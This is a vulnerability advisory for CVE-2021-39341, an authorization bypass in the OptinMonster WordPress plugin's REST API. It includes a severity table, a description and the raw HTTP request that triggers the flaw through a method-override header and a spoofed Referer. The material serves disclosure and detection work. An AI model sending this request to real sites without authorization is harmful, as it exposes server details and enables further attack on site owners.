| Title | OptinMonster Plugin < 2.6.5 - Unprotected REST-API |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | High |
| Impact | Unauthenticated attackers can access sensitive system information including PHP version, server configuration, and plugin details via unprotected REST API endpoints. |
| Remediation | Upgrade to OptinMonster version 2.6.5 or later. |
| CVSS Score | 8.2 |
| EPSS Score | 0.44317 |
| CVE ID | CVE-2021-39341 |
| CWE ID | CWE-285,CWE-863 |
| Tags | cve cve221 wordpress wp-plugin optinmonster rest-api disclosure unauth exposure vkev vuln |
The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.
OPTIONS /wp-json/omapp/v1/support HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Referer: https://wp.app.optinmonster.test
X-HTTP-Method-Override: GET
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39341.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39341.pcap
N/AN/A